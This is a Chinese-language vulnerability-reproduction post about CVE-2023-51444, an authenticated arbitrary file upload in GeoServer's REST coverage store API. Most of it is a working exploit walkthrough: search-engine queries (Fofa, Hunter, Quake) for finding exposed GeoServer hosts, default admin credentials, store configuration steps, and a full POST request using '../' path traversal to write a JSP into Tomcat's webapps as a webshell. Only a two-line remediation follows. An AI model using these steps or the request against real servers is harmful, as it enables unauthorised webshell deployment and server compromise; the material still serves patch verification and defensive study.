Geoserver 任意文件上传(CVE-2023-51444)

admin 2024年5月24日13:34:46评论56 views字数 1878阅读6分15秒阅读模式

 

0x02 漏洞介绍
Vulnerability introduction
GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据。

2.23.4版本之前和2.24.1版本之前存在一个任意文件上传漏洞,允许经过身份验证的管理员通过REST Coverage Store API修改覆盖存储器权限上传任意文件内容到任意文件位置。漏洞利用需要管理员权限。

影响版本:

GeoServer < 2.23.4

        2.24.0 <= GeoServer < 2.24.1

     CVE编号:

CVE-2023-51444

0x03 搜索语法
Search for syntax
  • Fofa
app="GeoServer"
  • Hunter
app.name="GeoServer"
  • Quake

app:"GeoServer"

Geoserver 任意文件上传(CVE-2023-51444)

0x04 漏洞复现
Request packets
  • 本地搭建环境,还是使用docker来起一个geoserver服务。
docker run -itd -p 8080:8080 docker.osgeo.org/geoserver:2.22.x
  • 默认登录账号密码:admin/geoserver
Geoserver 任意文件上传(CVE-2023-51444)
  • 然后点击工作空间,新建一个test,点击保存。Geoserver 任意文件上传(CVE-2023-51444)Geoserver 任意文件上传(CVE-2023-51444)
  • 然后点击新建存储仓库,数据源选择ImageMosaic,工作空间选择刚刚新建的testGeoserver 任意文件上传(CVE-2023-51444)Geoserver 任意文件上传(CVE-2023-51444)Geoserver 任意文件上传(CVE-2023-51444)
  • 然后,重点来了,关系到你能不能成功。
  • 下面的连接参数选项,需要选择绝对路径,以这个镜像为例,点击浏览,目录选择/(就是根目录),可以浏览服务器文件目录结构,找到GeoServer的存储目录(就是存我们刚刚选择的ImageMosaic的目录)。
  • 应该是xxx/xxx/xxx/coverages/mosaic_sample/,这个镜像在/opt/geoserver_data/coverages/mosaic_sample/,就选择这个目录,然后保存就行了。
  • 直接输入file:///opt/geoserver_data/coverages/mosaic_sample/Geoserver 任意文件上传(CVE-2023-51444)Geoserver 任意文件上传(CVE-2023-51444)
  • 最后一步,上传任意文件。构造数据包,我直接多写几个../穿到根目录,后面再加要写入的目录绝对路径(上面浏览中可以看到所有目录结构)。(这里我们选择可以解析jsp文件的目录,可以根据实际情况修改)。而且需要填写Cookie。
  • 注意两个test,前面的是工作空间,后面的是存储仓库。
POST /geoserver/rest/workspaces/test/coveragestores/test/file.shp?filename=../../../../../opt/apache-tomcat-9.0.86/webapps/webshell/1.jsp HTTP/1.1
Host: your-ip
Content-Length: 3
Accept:image/avif,image/webp,image/apng,image/svg+xml, image/*,*/*;9-0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-forwarded-for:127.0.0.1
Cookie: remember-me=xxxx
Content-Type: multipart/form-data;; boundary-----WebKitFormBoundaryfoycybhDiQZEqxoy
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<% out.println("Hello World!");%>
  • 上传成功显示202Geoserver 任意文件上传(CVE-2023-51444)
  • 访问url/webshell/test.jsp,结束。
Geoserver 任意文件上传(CVE-2023-51444)
  • 如果上传显示500,报错: Error while storing uploaded file:,说明最重要的一步存储仓库中的连接参数没有设置绝对路径。
0x05 nuclei POC
nuclei POC
  • 不会写,但实际上有弱口令就成了一半。
    Geoserver 任意文件上传(CVE-2023-51444)
0x07 修复建议
Remediation recommendations
  • 在Web应用防火墙中添加接口临时黑名单规则。
  • 升级版本。
 

原文始发于微信公众号(F12sec):1day 【漏洞复现 | 成功上传Webshell】Geoserver 任意文件上传(CVE-2023-51444)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日13:34:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Geoserver 任意文件上传(CVE-2023-51444)http://cn-sec.com/archives/2773521.html

发表评论

匿名网友 填写信息